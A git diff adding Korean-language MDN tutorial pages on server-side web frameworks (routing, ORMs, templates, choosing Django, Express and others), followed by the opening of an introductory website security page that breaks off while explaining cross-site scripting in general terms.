+<p>대부분의 사이트는 여러개의 다른 리소스를 특정된 URL을 통해 접근 할 수 있도록 제공합니다. 통합된 함수로 모든것을 처리하는건 유지하기가 매우 힘듭니다, 그래서 웹 프레임워크는 특별한 처리 함수로 URL패턴을 매핑하는 기능을 제공합니다. 이러한 접근 방법은 유지 보수 기간에 이점이 있습니다. 왜냐하면 기본 코드를 변경하지 않고도 특정 기능을 제공하는 데 사용되는 URL을 변경할 수 있기 때문입니다.</p>
+
+<p>각각의 프레임 워크들은 다른 매핑 메커니즘을 사용합니다. 예를 들면 Flask (Python) 웹 프레임 워크는데코레이터를 사용하여 view함수에 경로를 추가합니다.</p>
+
+<pre class="brush: python">@app.route("/")
+def hello():
+    return "Hello World!"</pre>
+
+<p>Django는 개발자가 URL 패턴과 뷰 함수 사이에 URL 매핑 목록을 정의 할 것을 기대합니다.</p>
+
+<pre class="brush: python">urlpatterns = [
+    url(r'^$', views.index),
+    # example: /best/myteamname/5/
+    url(r'^(?P&lt;team_name&gt;\w.+?)/(?P&lt;team_number&gt;[0-9]+)/$', views.best),
+]
+</pre>
+
+<h3 id="Make_it_easy_to_access_data_in_the_request">Make it easy to access data in the request</h3>
+
+<p>데이터는 다양한 방법으로 HTTP응답에 인코딩 될 수 있습니다. 서버에서 파일이나 데이터를 얻기 위한 HTTP GET 요청은 URL인자나 URL구조를 요구한 데이터를 인코딩 할 수 있습니다. 서버에 있는 리소스를 업데이트를 요청하는 HTTP <code>POST</code>는 요청 본문에 "POST data"로 업데이트 정보를 대신 포함합니다. 또한 HTTP 요청은 클라이언트 측 쿠키에서 현재 세션 또는 사용자에 관한 정보를 포함 할 수있습니다.</p>
+
+<p>웹 프레임 워크는 정보에 액세스하기위한 프로그래밍 언어에 적합한 메커니즘을 제공합니다. 예를 들어 Django가 모든 뷰 함수에 전달하는 HttpRequest 객체는 대상 URL, 요청 유형 (예 : HTTP GET), GET 또는 POST 매개 변수, 쿠키 및 세션 데이터 등에 접근 하기 위한 메소드 및 속성을 포함합니다. Django는 URL 매퍼에 "캡처 패턴"을 정의한 URL 구조로 인코딩 된 정보를 전달할 수도 있습니다 (위 섹션의 마지막 코드 단편 참조).</p>
+
+<h3 id="Abstract_and_simplify_database_access">Abstract and simplify database access</h3>
+
+<p>웹 사이트는 사용자와 사용자에 대한 정보 공유를 위한 데이터를 저장 하기 위해서 데이터베이스를 사용합니다. 웹 프레임 워크는 종종  데이터베이스 읽기, 쓰기, 쿼리, 삭제 조작을 추상화 할 수 있는 데이터베이스 계층을 제공 합니다. 이러한 추상 계층을 객체 관계형 매퍼(ORM)라고 합니다.</p>
+
+<p>ORM을 사용 하는 것은 2가지 장점이 있습니다:</p>
+
+<ul>
+ <li>사용하던 코드를 수정하지 않고 기본 데이터베이스를 바꿀 수 있습니다. 이것을 통해 개발자가 사용법에 따른 데이터베이스의 특성을 최적화 할 수 있습니다.</li>
+ <li>기본적인 데이터의 확인은 프레임워크 안에서 구현 될 수 있습니다. 이를 통해  올바른 타입의 데이터베이스 필드에 데이터를 저장하는지, 올바른 타입인지(예: 이메일 주소), 악의적인 방식 (크래커는 특정 코드 패턴을 사용하여 데이터베이스 레코드를 지우는 것과 같은 나쁜 행동을 할 수 있습니다)인지 쉽고 안전하게 확인 할 수 있습니다.</li>
+</ul>
+
+<p>예를들어 Django 웹 프레임워크는 ORM을 제공하고 레코드 구조 모델로 정의하는데  사용한 객체를 참조합니다. 모델은 저장 될 필드 유형을 지정하며, 저장 될 수있는 정보에 대한 필드 레벨 검증을 제공 할 수 있습니다(예 : 이메일 입력란은 유효한 이메일 주소 만 허용). 또한 필드 정의는 최대 크기, 기본 값, 선택 목록 옵션, 문서를 위한 도움말, 양식 레이블 텍스트 등을 지정할 수도 있습니다. 모델은 코드와 별도로 변경 될 수있는 구성 설정이므로 기본 데이터베이스에 대한 정보는 명시하지 않습니다.</p>
+
+<p>첫번째 코드 스니펫은 아래에 보이는 매우 간단한 <code>Django</code> 모델인 <code>Team</code>객체 입니다. 이 객체는 팀 이름과 팀의 레벨을 문자 필드로 저장하고 각각의 레코드마다 최대 한도의 문자 길이를 저장 합니다. <code>team_level</code>은 선택 필드이므로 우리는 디폴트 값과 함께 표시할 선택 항목과 데이터를 저장하는 것 사이를 매핑하는 것을 제공합니다. </p>
+
+<pre class="brush: python">#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+    team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+        ...  #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+</pre>
+
+<p>Django 모델은 데이터베이스 검색을 위한 간단한 쿼리를 제공 합니다. 다른 기준을 사용하여 한 번에 여러 필드와 일치시킬 수 있습니다. (예 : 대소 문자를 구분하지 않음,보다 큼, 등), 그리고 복잡한 명령문을 지원 할 수 있습니다 (예를 들어 당신이 "Fr"로 시작하거나 "al"로 끝나는 특별한 U11팀을 찾을 수 있습니다). </p>
+
+<p>두번째 코드 스니펫은 U09의 모든 팀을 보여주는 view function(요청 핸들러)을 보겠습니다.  이 경우 우리는 <code>team_level</code> 필드의 텍스트가 정확히 'U09'인 모든 레코드를 필터링하도록 지정합니다. ( 이 기준이 필드 이름과 일치 유형이 두 개의 밑줄로 구분 된 인수로 <code>filter()</code> 함수에 전달되는 방법을 아래에 기록하십시오. team_level__exact ).</p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<h3 id="Rendering_data">Rendering data</h3>
+
+<p>웹 프레임워크는 종종 템플릿 시스템을 제공합니다. 이것은 페이지가 생성될 때 데이터를 추가하기 위한 자리 표시 자를 사용하여 출력 문서 구조를 지정 할 수 있습니다. 템플릿들은 보통 HTML로 만들어지지만, 다른 형식의 문서로도 작성될 수 있습니다.</p>
+
+<p>웹 프레임워크는 보통 저장된 데이터를 다른 형식으로 쉽게 생성 할 수 있는,{{glossary("JSON")}}, {{glossary("XML")}}을 포함한, 틀을 제공합니다.</p>
+
+<p>예를들어, Django 템플릿 시스템은 구체화된 "double-handlebars" 구조 (예를 들어 <code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>)를 사용하도록 허용하는데, 이것은 페이지가 로딩될 때 뷰 함수의 값들로 대체될 수 있습니다.  템플릿 시스템은 또한 다양한 표현식을 지원하는데 (예를 들어 : <code>{% <em>expression</em> %}</code>), 템플리트가 템플리트에 전달 된 목록 값을 반복하는 것과 같은 간단한 조작을 수행 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 다른 대부분의 템플릿 시스템들은 비슷한 문법을 사용합니다, 예: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), 등등.</p>
+</div>
+
+<p>아래의 코드 스니펫은 그것이 어떻게 작동 하는지 보여줍니다. 이전 섹션에 사용한 "youngest team" 예제를 다시 보겠습니다, HTML 템플릿은 뷰에서 <code>youngest_teams</code>이라고 불리는 목록 변수를 전달 받습니다. HTML 골격 내에는 <code>youngest_teams</code>이 있는지 체크하는 표현식이 있고, 있다면 <code>for</code> 루프를 통해 반복문을 만드는 것을 볼 수 있습니다. 각 반복당 템플릿은 팀리스트에 있는  <code>team_name</code>을 출력해줍니다.</p>
+
+<pre class="brush: html">#best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;body&gt;
+
+ {% if youngest_teams %}
+    &lt;ul&gt;
+    {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+    {% endfor %}
+    &lt;/ul&gt;
+{% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+{% endif %}
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="웹프레임워크를_선택하는_방법">웹프레임워크를 선택하는 방법</h2>
+
+<p>여러분이 쓰고싶은 언어 대부분에 많은 웹 프레임워크들이 존재합니다(그중 보다 인기 있는 몇개의 프레임워크들을 다음 섹션에 나열합니다). 선택의 폭이 넓어지기 때문에 새로운 웹 애플리케이션을위한 최고의 출발점을 제공하는 프레임워크를 찾기가 어려울 수 있습니다.</p>
+
+<p>여러분의 선택에 영향을 줄 수 있는 요인은 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>학습 노력 :</strong> 웹 프레임워크를 배우기 위한 노력은 당신이 얼마나 프로그래밍 언어에 익숙한지, 그 언어의 API가 일관성 있는지, 그 언어의 문서의 품질이 괜찮은지, 그리고 그 언어의 커뮤니티의 크기와 활동량에 따라 다릅니다. 만약 여러분이 아무런 프로그래밍 경험이 없다면, 장고를 고려해보세요(장고는 위의 기준에 맞는 가장 배우기 쉬운 프레임 워크입니다). 만약 여러분이 개발팀의 일원이며 이미 특정 웹프레임워크와 언어에 상당한 경험이 있다면, 그것에 충실하는 것이 좋습니다.</li>
+ <li><strong>생산성:</strong> 생산성은 프레임 워크에 익숙해지면 얼마나 빨리 새 기능을 만들 수 있는지 측정하는 척도이며 코드를 작성하고 유지 관리하는 노력(이전 기능이 손상된 상태에서 새 기능을 작성할 수 없기 때문에)을 모두 포함합니다. "학습 노력"에서 다루었던 요인들과 비슷한 많은 요인들이 생산성에 영향을 미칩니다. — 예를들어 문서, 커뮤니티, 프로그래밍 경험 등. — 다른 요인들:
+  <ul>
+   <li><em>프레임워크의 목적/출처</em>: 몇몇 웹 프레임워크들은 처음엔 특정 타입의 문제들을 풀기위해 만들어졌고, 여전히 비슷한 제약조건을 가진 웹앱을 만드는 데 좋습니다. 예를 들어 Django는 신문형식의 웹사이트 개발을 지원하기 위해 만들어졌기 때문에 블로그나 무언가를 출판하는 사이트들에 쓰기 좋습니다. 반대로 Flask는 모다 가벼운 무게의 프레임워크이고 임베디드 장치에서 실행되는 웹앱을 만드는데 좋습니다.</li>
+   <li><em>의도적인 vs 의도를 갖지 않는</em>: 의도적인 프레임워크는 특정유형의 문제를 풀기에 가장 좋은 방법으로 추천됩니다. 의도적인 프레임워크들은 일반적인 문제들을 풀려고 할 때 생산적으로 기능하기 때문에 여러분을 옳은 방향으로 이끌어주지만 유연성이 부족하기도 합니다.</li>
+   <li><em>배터리 포함 vs 직접 구매</em>: 몇몇 웹프레임워크는 개발자들이 "기본 적으로" 생각할 수 있는 모든 문제들을 해결하는 툴과 라이브러리를 포함합니다. 반면에 보다 가벼운 프레임웨크들은 웹개발자들이 직접 분리된 라이브러리들을 고르고 쓰기를 기대합니다. (Django는 전자의 예고 Flask는 아주 가벼운 프레임워크의 예입니다). 모든 것을 포함하는 프레임워크는 여러분이 필요한 모든 것을 이미 가지고 있고, 잘 병합/문서화되어있어 종종 시작하기에 더 쉽습니다. 그러나 더 작은 프레임 워크에 필요한 모든 것이 있다면 제약이 많은 환경에서 실행할 수 있으며 배우기에 더 작고 쉬울 것입니다. </li>
+   <li><em>프레임워크는 좋은 개발 관행을 장려 할 수 있습니다: </em>예를 들어,  <br>
+    <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model-View-Controller</a> 아키텍처를 권장하는 프레임 워크는 코드를 로직 함수로 분리하여 개발자에게 기대하지 않는 코드보다 더 유지 관리가 쉬운 코드가 생성됩니다. 비슷하게도, 프레임워크의 디자인은 테스트 하기 쉽고 재사용 하기 쉬운 코드를 만드는데에 큰 영향을 줄 수 있습니다.</li>
+  </ul>
+ </li>
+ <li><strong>프레임워크/프로그래밍 언어의 성능:</strong> 종종 "속도"는 선택의 중요한 한 요소가 되지 않습니다. 왜냐하면  Python과 같은 비교적 느린 런타임도 중간정도의 하드웨어에서 실행되는 중간 크기의 사이트에서 사용 하기에 "충분" 이상으로 좋기 때문입니다. 속도에 강점이 있는 언어들(예: C++ 또는 JavaScript)은 교육 비용이나 유지 비용에 의해 상쇄 될 수 있습니다.</li>
+ <li><strong>캐싱 지원:</strong> 웹 사이트가 더욱 성공적이 되면 당신은 웹 사이트에 액세스 할 때 수신하는 요청 수에 더 이상 대처할 수 없다는 것을 알게 될 것입니다. 이 시점에 캐싱 지원을 추가하는 것을 고려 할 수 있습니다. 캐싱은 웹 요청의 전체 또는 일부를 저장하여 후속 요청에서 다시 계산할 필요가 없도록하는 최적화 방법 입니다. 캐시된 요청에 대한 응답은 처음에 요청을 계산하는 것보다 훨씬 빠릅니다. 캐싱은 당신의 코드에 구현 하거나 서버에 구현 할 수 있습니다(<a href="https://en.wikipedia.org/wiki/Reverse_proxy">reverse proxy</a>를 참조하세요). 웹 프레임 워크는 캐시 할 수있는 컨텐츠를 정의하기 위해 서로 다른 레벨의 지원을 제공합니다.</li>
+ <li><strong>확장성:</strong> 웹 사이트가 환상적인 성공을하면 캐싱의 이점을 모두 활용하고 <em>수직 확장(</em>웹 애플리케이션을 보다 강력한 하드웨어에서 실행<em>)</em>의 한계에 도달 할 수 있습니다. 이 시점에서 일부 고객은 서버와 멀리 떨어져 있기 때문에 <em>수평 확장</em>(여러 웹 서버와 데이터베이스에 사이트를 분산 시켜서 부하를 공유)하거나 "지리적으로" 확장해야 할 수도 있습니다. 선택한 웹 프레임워크는 사이트 확장을 쉽게 하는지에 대해 큰 차이를 만들 수 있습니다.</li>
+ <li><strong>웹 보안:</strong> 어떤 웹 프레임워크는 일반적인 웹 공격 처리에 대한 더 나은 지원을 제공 합니다. 장고을 예를 들자면 사용자 입력에 들어간 모든 HTML 템플릿을 삭제하여 사용자가 작성한 JavaScript를 실행하지 못하게 합니다. 다른 프레임 워크도 유사한 보호 기능을 제공하지만 기본적으로 항상 활성화되어있는 것은 아닙니다.</li>
+</ul>
+
+<p>라이센싱, 프레임워크가 활발하게 개발 중인지 여부 등 여러 가지 가능한 요소가 있습니다.</p>
+
+<p>프로그래밍을 처음 접하는 생초보라면 "학습 편의성"에 따라 프레임 워크를 선택하게 될 것입니다. 언어 자체의 "사용 편의성"외에도 고품질 문서 / 자습서 및 새로운 사용자를 돕는 활동적인 커뮤니티가 가장 소중한 리소스입니다. 우리는 <a href="https://www.djangoproject.com/">Django</a> (Python) 와 <a href="http://expressjs.com/">Express</a> (Node/JavaScript)를 선택하여 강의 후반에 예제를 작성했습니다. 배우기 쉽고 지원을 잘 받고 있기 때문입니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://www.djangoproject.com/">Django</a> (Python) 와 <a href="http://expressjs.com/">Express</a> (Node/JavaScript)의 메인 웹사이트로 가보십시오, 그리고 문서와 커뮤니티를 확인하십시오.</p>
+
+<ol>
+ <li>(위 링크들의) 메인 사이트를 둘러보기
+  <ul>
+   <li>Documentation 메뉴에 링크들(Documentation, Guide, API Reference, Getting Started등)을 클릭해보십시오.</li>
+   <li>URL routing, templates, and databases/models등을 설정하는 주제들이 보이십니까?</li>
+   <li>해당 문서들은 명료하게 작성이 되어있습니까?</li>
+  </ul>
+ </li>
+ <li>각각의 사이트에서 mailing lists(해당 커뮤니티의 링크들을 통해서 접근할 수 있습니다)를 둘러보기
+  <ul>
+   <li>지난 며칠동안 얼마나 많은 질문들이 올라왔습니까?</li>
+   <li>얼마나 많은 답변이 있습니까?</li>
+   <li>왕성한 활동을 보이는 커뮤니티를 갖고 있습니까?</li>
+  </ul>
+ </li>
+</ol>
+</div>
+
+<h2 id="A_few_good_web_frameworks">A few good web frameworks?</h2>
+
+<p>더 나아가, 몇몇 server-side 웹 프레임워크들에 대해 다루어보겠습니다.</p>
+
+<p>밑에 있는 server-side 프레임워크들은 이 글을 쓰는 시점에 인기 있는 프레임워크들 중 일부입니다. 몇이 프레임워크들은 생산성을 위해 필요한 것들을 갖추었습니다. — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. 인터넷 검색을 통해 여기서 언급하지 않은 좋은  프레임워크들 찾을 수 있습니다. </p>
+
+<p><strong>Note</strong>: 여기에 기술되어있는 (일부) 내용들은 프레임워크의 사이트로부터 왔습니다!</p>
+
+<h3 id="Django_Python">Django (Python)</h3>
+
+<p><a href="https://www.djangoproject.com/">Django</a> is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.</p>
+
+<p>Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain.</p>
+
+<p>Popular sites using Django (from Django home page) include: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p>
+
+<h3 id="Flask_Python">Flask (Python)</h3>
+
+<p><a href="http://flask.pocoo.org/">Flask</a> is a microframework for Python. </p>
+
+<p>While minimalist, Flask can create serious websites out of the box. It contains a development server and debugger, and includes support for <a href="https://github.com/pallets/jinja">Jinja2</a> templating, secure cookies, <a href="https://en.wikipedia.org/wiki/Unit_testing">unit testing</a>, and <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a> request dispatching. It has good documentation and an active community. </p>
+
+<p>Flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Drone controllers</a>, etc.)</p>
+
+<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3>
+
+<p><a href="http://expressjs.com/">Express</a> is a fast, unopinionated, flexible and minimalist web framework for <a href="https://nodejs.org/en/">Node.js</a> (node is a browserless environment for running JavaScript). It provides a robust set of features for web and mobile applications and delivers useful HTTP utility methods and <a href="https://wiki.developer.mozilla.org/en-US/docs/Glossary/Middleware">middleware</a>.</p>
+
+<p>Express is extremely popular, partially because it eases the migration of client-side JavaScript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses lightweight multitasking within a thread rather than spawning separate processes for every new web request). </p>
+
+<p>Because Express is a minimalist web framework it does not incorporate every component that you might want to use (for example, database access and support for users and sessions are provided through independent libraries). There are many excellent independent components, but sometimes it can be hard to work out which is the best for a particular purpose! </p>
+
+<p>Many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on Express, including <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, and <a href="http://sailsjs.org/">Sails</a>.</p>
+
+<p>A lot of high profile companies use Express, including: Uber, Accenture, IBM, etc. (a list is provided <a href="http://expressjs.com/en/resources/companies-using-express.html">here</a>).</p>
+
+<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3>
+
+<p><a href="http://rubyonrails.org/">Rails</a> (usually referred to as "Ruby on Rails") is a web framework written for the Ruby programming language.</p>
+
+<p>Rails follows a very similar design philosophy to Django. Like Django it provides standard mechanisms for routing URLs, accessing data from a database, generating HTML from templates and formatting data as {{glossary("JSON")}} or {{glossary("XML")}}. It similarly encourages the use of design patterns like DRY ("dont repeat yourself" — write code only once if at all possible), MVC (model-view-controller) and a number of others.</p>
+
+<p>There are of course many differences due to specific design decisions and the nature of the languages.</p>
+
+<p>Rails has been used for high profile sites, including:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>, <a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>, <a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Highrise</a>.</p>
+
+<h3 id="Laravel_PHP">Laravel (PHP)</h3>
+
+<p><a href="https://laravel.com/">Laravel</a> is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as:</p>
+
+<ul>
+ <li><a href="https://laravel.com/docs/routing" rel="nofollow">Simple, fast routing engine</a>.</li>
+ <li><a href="https://laravel.com/docs/container" rel="nofollow">Powerful dependency injection container</a>.</li>
+ <li>Multiple back-ends for <a href="https://laravel.com/docs/session" rel="nofollow">session</a> and <a href="https://laravel.com/docs/cache" rel="nofollow">cache</a> storage.</li>
+ <li>Expressive, intuitive <a href="https://laravel.com/docs/eloquent" rel="nofollow">database ORM</a>.</li>
+ <li>Database agnostic <a href="https://laravel.com/docs/migrations" rel="nofollow">schema migrations</a>.</li>
+ <li><a href="https://laravel.com/docs/queues" rel="nofollow">Robust background job processing</a>.</li>
+ <li><a href="https://laravel.com/docs/broadcasting" rel="nofollow">Real-time event broadcasting</a>.</li>
+</ul>
+
+<p>Laravel is accessible, yet powerful, providing tools needed for large, robust applications.</p>
+
+<h3 id="ASP.NET">ASP.NET</h3>
+
+<p><a href="http://www.asp.net/">ASP.NET</a> is an open source web framework developed by Microsoft for building modern web applications and services. With ASP.NET you can quickly create web sites based on HTML, CSS, and JavaScript, scale them for use by millions of users and easily add more complex capabilities like Web APIs, forms over data, or real time communications.</p>
+
+<p>One of the differentiators for ASP.NET is that it is built on the <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR), allowing programmers to write ASP.NET code using any supported .NET language (C#, Visual Basic, etc.). Like many Microsoft products it benefits from excellent tools (often free), an active developer community, and well-written documentation.</p>
+
+<p>ASP.NET is used by Microsoft, Xbox.com, Stack Overflow, and many others.</p>
+
+<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3>
+
+<p><a href="http://mojolicious.org/">Mojolicious</a> is a next generation web framework for the Perl programming language.</p>
+
+<p>Back in the early days of the web, many people learned Perl because of a wonderful Perl library called <a href="https://metacpan.org/module/CGI">CGI</a>. It was simple enough to get started without knowing much about the language and powerful enough to keep you going. Mojolicious implements this idea using bleeding edge technologies.</p>
+
+<p>Some of the features provided by Mojolicious are: <strong>Real-time web framework</strong>, to easily grow single file prototypes into well-structured MVC web applications; RESTful routes, plugins, commands, Perl-ish templates, content negotiation, session management, form validation, testing framework, static file server, CGI/<a href="http://plackperl.org/">PSGI</a> detection, first class Unicode support; Full stack HTTP and WebSocket client/server implementation with IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart and gzip compression support; JSON and HTML/XML parsers and generators with CSS selector support; Very clean, portable and object-oriented pure-Perl API with no hidden magic; Fresh code based upon years of experience, free and open source.</p>
+
+<h3 id="Spring_Boot_Java">Spring Boot (Java)</h3>
+
+<p><a href="https://spring.io/projects/spring-boot">Spring Boot</a> is one of a number of projects provided by <a href="http://spring.io/">Spring</a>. It is a good starting point for doing server-side web development using <a href="https://www.java.com/">Java</a>.</p>
+
+<p>Although definitely not the only framework based on <a href="https://www.java.com/">Java</a> it is easy to use to create stand-alone, production-grade Spring-based Applications that you can "just run". It is an opinionated view of the Spring platform and third-party libraries but allows to start with minimum fuss and configuration.</p>
+
+<p>It can be used for small problems but its strength is building larger scale applications that use a cloud approach. Usually multiple applications run in parallel talking to each other, with some providing user interaction and others just do back end work (e.g. accessing databases or other services).  Load balancers help to ensure redundancy and reliability or allow geolocated handling of user requests to ensure responsiveness.</p>
+
+<h2 id="Summary">Summary</h2>
+
+<p>This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of how to choose a web framework for your own server-side development. If not, then don't worry — later on in the course we'll give you detailed tutorials on Django and Express to give you some experience of actually working with a web framework.</p>
+
+<p>For the next article in this module we'll change direction slightly and consider web security.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li>
+</ul>
diff --git a/files/ko/learn/server-side/first_steps/website_security/index.html b/files/ko/learn/server-side/first_steps/website_security/index.html
new file mode 100644
index 0000000000..6fcc0fbb56
--- /dev/null
+++ b/files/ko/learn/server-side/first_steps/website_security/index.html
@@ -0,0 +1,164 @@
+---
+title: Website security
+slug: Learn/Server-side/First_steps/Website_security
+tags:
+  - 가이드
+  - 보안
+  - 서버측 프로그래밍
+  - 웹 보안
+  - 초보자
+  - 학습
+translation_of: Learn/Server-side/First_steps/Website_security
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">웹사이트 보안은 설계와 사용의 모든 측면에서 주의를 기울여야 한다. 이 글은 입문자용이므로 당신을 웹사이트 보안 전문가로 만들어주지는 않지만, 보안 위협 요소가 어디에서 발생하는지와, 가장 일반적인 공격으로부터 웹 응용 프로그램을 어떻게 강화할 수 있는지 이해하는데 도움을 줄 것이다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 요구 지식 :</th>
+   <td>기본적인 컴퓨터 활용 능력.</td>
+  </tr>
+  <tr>
+   <th scope="row">학습목표 :</th>
+   <td>
+    <p>웹 애플리케이션 보안을 위협하는 가장 일반적인 요소들과, 해킹 당할 위험을 줄이는 방법을 이해한다.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="웹사이트_보안이란_무엇인가">웹사이트 보안이란 무엇인가?</h2>
+
+<p>인터넷은 위험한 곳이다! 구체적인 사례로, 우리는 정기적으로 웹사이트가 서비스 거부 공격으로 마비되거나, 홈페이지에 수정된 (그리고 종종 위해한) 정보가 게시된 소식을 듣는다. 또 다른 영향력이 큰 사례로, 수백만 개의 비밀번호, 이메일 주소, 신용카드 정보가 공용 도메인으로 유출되어, 웹사이트 사용자들에게 심리적 당혹감과 경제적인 위험을 유발한다.</p>
+
+<p>웹사이트 보안의 목적은 이러한 (또는 어떤) 종류의 공격을 방지하는 것이다. 딱딱하게 말하자면, <em>웹사이트 보안이란, 비승인된 접근, 사용, 수정, 파괴, 중단으로부터 웹사이트를 보호하는 행동 또는 실행을 가리킨다.</em></p>
+
+<p>웹사이트 보안을 효과적으로 하기 위해서는 웹사이트를 설계하는 과정의 전반에 걸쳐 노력을 기울여야 한다: 웹 애플리케이션에서, 웹 서버 설정에서, 비밀번호를 생성하고 재발급하는 정책에서, 클라이언트측 코드에서 말이다. 이 말이 보안에 필요한 많은 작업들을 당신이 직접 세세하게 해주어야 한다는 불길한 말로 들릴 수 있다. 하지만 다행스럽게도 서버측 웹 프레임워크를 사용한다면, 일반적인 보안 공격에 대해 이미 견고하고 잘 검증 된 방어 메커니즘이 "기본으로" 제공된다. 다른 공격들은 HTTPS를 활성화하는 등의 웹 서버 설정을 통해 방지할 수 있다. 마지막으로, 공개된 취약점 스캐너 도구를 사용하여 알려진 보안 실수들은 잡아낼 수 있을 것이다.</p>
+
+<p>이 글의 나머지 부분은 몇 가지 일반적인 보안 위협들과 사이트를 보호하기 위해 취할 수 있는 간단한 지침들을 제공한다.</p>
+
+<p><strong>Note</strong>: 입문자를 위한 주제이고, 웹사이트 보안에 대해 처음 생각해보는 이들을 돕기 위해 작성되었다. 완전하지 않으니 유의하길 바란다.</p>
+
+<h2 id="웹사이트_보안_위협들">웹사이트 보안 위협들</h2>
+
+<p>이 부분은 몇가지 일반적인 웹사이트 위협 요소들의 목록과 그 위협들을 어떻게 최소화할 수 있는지를 다룬다. 다음을 상기하며 읽자. 브라우저에서 전달되는 데이터를 신뢰하기만 하고 <em>충분한 피해망상을 가지지 않으면 </em>보안 위협 요소는 꼭 성공한다는 것을 상기해두자.</p>
+
+<h3 id="사이트_간_스크립팅_(Cross-Site_Scripting_XSS)">사이트 간 스크립팅 (Cross-Site Scripting, XSS)</h3>
+
+<p>XSS는 공격자가 클라이언트 측 스크립트를 웹 사이트에 삽입하여 다른 사용자의 부라우저에서 수행되게 하는 공격의 유형을 말한다. 삽입된 코드는 웹 사이트에서 피해 사용자의 브라우저로 전송이 됨으로 피해 사용자에게 의심받지 않는다. 따라서, 그 삽입된 코드는 피해 사용자의 사이트 권한 쿠키를 공격자에게 보내는 종류의 악성 작업을 수행할 수 있다. 그리고 그것을 전달 받은 공격자는 마치 피해 사용자인 것처럼 위장하여 사이트에 로그인하고 피해 사용자가 할 수 있는 모든 작업을 수행할 수 있다. 가령, 신용 카드 세부 정보에 접근하거나, 연락처 세부 정보를 확인하거나, 암호를 변경하는 작업 등을 수행할 수 있다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: XSS 취약점은 전통적으로 다른 유형보다 일반적이었다.</p>
+</div>
+
+<p>삽입된 스크립트를 브라우저에 반환하도록 사이트를 속이는 데에는 두 가지 주요 접근방법이 있다. 그것은 반사적 XSS 취약점과 지속적 XSS 취약점이다.</p>
+
